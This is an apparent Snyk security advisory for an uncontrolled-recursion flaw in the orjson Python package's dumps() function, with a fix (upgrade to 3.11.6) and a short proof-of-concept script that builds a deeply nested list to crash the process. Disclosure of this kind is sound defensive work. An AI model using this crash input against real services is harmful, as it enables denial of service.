Uncontrolled Recursion Affecting orjson package, versions [3.10.6,3.11.6)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.05% (17th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ORJSON-15123465
  • published28 Jan 2026
  • disclosed22 Jan 2026
  • creditUnknown

Introduced: 22 Jan 2026

NewCVE-2025-67221  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade orjson to version 3.11.6 or higher.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in the dumps() function in formatter.rs. An attacker can cause a core dump by supplying a deeply nested JSON document.

PoC

import orjson
import sys
import platform
print(f'OS: {platform.platform()}') 
print(f'Python version: {sys. version}') 
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
    nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)

CVSS Base Scores

version 4.0
version 3.1